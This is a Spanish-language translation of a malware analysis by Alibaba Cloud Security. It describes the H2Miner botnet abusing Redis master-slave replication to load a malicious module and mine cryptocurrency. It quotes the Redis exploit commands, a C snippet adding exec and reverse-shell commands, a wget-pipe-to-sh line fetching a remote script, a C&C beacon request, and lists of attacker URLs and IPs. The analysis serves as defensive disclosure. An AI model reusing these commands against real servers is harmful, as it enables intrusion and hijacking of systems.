Nuevo brote de gusanos H2Miner que explotan Redis RCE descubierto

Hace un día, uno de los servidores de mi proyecto fue atacado por un gusano similar. En busca de una respuesta a la pregunta "¿qué fue esto?", Encontré un artículo maravilloso del equipo de Alibaba Cloud Security. Como no encontré este artículo sobre Habr, decidí traducirlo especialmente para ti <3

Entrada


El equipo de seguridad de Alibaba Cloud descubrió recientemente un brote repentino de H2Miner. Este tipo de gusano malicioso utiliza una falta de autorización o contraseñas débiles para Redis como puertas de enlace a sus sistemas, después de lo cual sincroniza su propio módulo malicioso con el esclavo a través de la sincronización maestro-esclavo y finalmente descarga este módulo malicioso en la máquina atacada y ejecuta instrucciones maliciosas.

En el pasado, los ataques a sus sistemas se realizaban principalmente mediante un método que incluía tareas programadas o claves SSH que se escribieron en su máquina después de que un atacante iniciara sesión en Redis. Afortunadamente, este método no se puede usar con frecuencia debido a problemas con el control de permisos o debido a diferentes versiones del sistema. Sin embargo, este método de descarga de un módulo malicioso puede ejecutar directamente los comandos del atacante u obtener acceso al shell, lo cual es peligroso para su sistema.

Debido a la gran cantidad de servidores Redis alojados en Internet (casi 1 millón), el equipo de seguridad de Alibaba Cloud, como recordatorio amistoso, recomienda a los usuarios que no proporcionen acceso a Redis desde la red y verifiquen regularmente la seguridad de sus contraseñas, así como si están sujetos a Selección rápida.

H2miner


H2Miner es una botnet de minería para sistemas basados ​​en Linux que puede invadir su sistema de varias maneras, incluida la falta de autorización en Hadoop Yarn, Docker y la vulnerabilidad de ejecución remota de comandos (RCE) de Redis. La botnet funciona descargando scripts maliciosos y malware para extraer sus datos, expandiendo el ataque horizontalmente y manteniendo las comunicaciones de comando y control (C&C).

Redis rce


Pavel Toporkov compartió su conocimiento sobre este tema en ZeroNights 2018. Después de la versión 4.0, Redis admite la carga de la función de módulos externos, lo que brinda a los usuarios la capacidad de descargar archivos compilados con C en Redis para ejecutar ciertos comandos de Redis. Esta característica, aunque útil, contiene una vulnerabilidad en la cual, en modo maestro-esclavo, los archivos se pueden sincronizar con esclavo a través del modo de sincronización completa. Un atacante puede usar esto para transferir archivos tan maliciosos. Una vez completada la transferencia, los atacantes cargan el módulo en la instancia de Redis atacada y ejecutan cualquier comando.

Análisis de gusanos de malware


Recientemente, el equipo de seguridad de Alibaba Cloud descubrió que el tamaño del grupo de mineros maliciosos H2Miner aumentó repentinamente dramáticamente. Según el análisis, el proceso general de ocurrencia de un ataque es el siguiente:

imagen

H2Miner usa RCE Redis para un ataque completo. Primero, los atacantes atacan servidores Redis sin protección o servidores con contraseñas débiles.

Luego usan el config set dbfilename red2.so para cambiar el nombre del archivo. Después de eso, los atacantes slaveof comando slaveof para establecer la dirección del host de replicación maestro-esclavo.

Cuando la instancia atacada de Redis establece una conexión maestro-esclavo con el Redis malicioso, que pertenece al atacante, el atacante envía el módulo infectado utilizando el comando fullresync para sincronizar los archivos. El archivo red2.so se cargará en la máquina de destino. Después de eso, los atacantes usan el módulo de descarga ./red2.so para descargar este archivo. El módulo puede ejecutar los comandos del atacante o iniciar una conexión inversa (puerta trasera) para obtener acceso a la máquina atacada.

 if (RedisModule_CreateCommand(ctx, "system.exec", DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR) return REDISMODULE_ERR; if (RedisModule_CreateCommand(ctx, "system.rev", RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR) return REDISMODULE_ERR; 

Después de ejecutar un comando malicioso como / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1 / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1 , el atacante restablecerá el nombre del archivo de copia de seguridad y descargará el módulo del sistema para borrar los rastros. Sin embargo, el archivo red2.so aún permanecerá en la máquina atacada. Se aconseja a los usuarios que presten atención a la presencia de un archivo tan sospechoso en la carpeta de su instancia de Redis.

Además de destruir algunos procesos maliciosos para robar recursos, el atacante siguió un script malicioso descargando y ejecutando los archivos maliciosos en forma binaria a 142.44.191.122/kinsing . Esto significa que el nombre del proceso o el nombre del directorio que contiene parentesco en el host puede indicar que esta máquina estaba infectada con este virus.

Según los resultados de la ingeniería inversa, el programa malicioso básicamente realiza las siguientes funciones:

  • Descarga de archivos y ejecución
  • Minería
  • Mantener comunicaciones C&C y ejecutar comandos de ataque

imagen

Use masscan para escaneo externo para expandir el impacto. Además, la dirección IP del servidor C&C está codificada en el programa, y ​​el host atacado interactuará con el servidor de comunicación C&C mediante solicitudes HTTP, donde la información zombie (servidor pirateado) se identifica en el encabezado HTTP.

imagen

 GET /h HTTP/1.1 Host: 91.215.169.111 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 Arch: amd64 Cores: 2 Mem: 3944 Os: linux Osname: debian Osversion: 10.0 Root: false S: k Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx Version: 26 Accept-Encoding: gzip 

Otros métodos de ataque


imagen

Direcciones y enlaces que usa el gusano


/ parentesco

 • 142.44.191.122/t.sh • 185.92.74.42/h.sh • 142.44.191.122/spr.sh • 142.44.191.122/spre.sh • 195.3.146.118/unk.sh 

c & c

 • 45.10.88.102 • 91.215.169.111 • 139.99.50.255 • 46.243.253.167 • 195.123.220.193 

Propina


Primero, Redis no debe estar abierto para acceder desde Internet y debe estar protegido por una contraseña segura. También es importante que los clientes verifiquen que no haya un archivo red2.so en el directorio Redis y que no haya "parentesco" en el nombre del archivo / proceso en el host.

Source: https://habr.com/ru/post/485300/


All Articles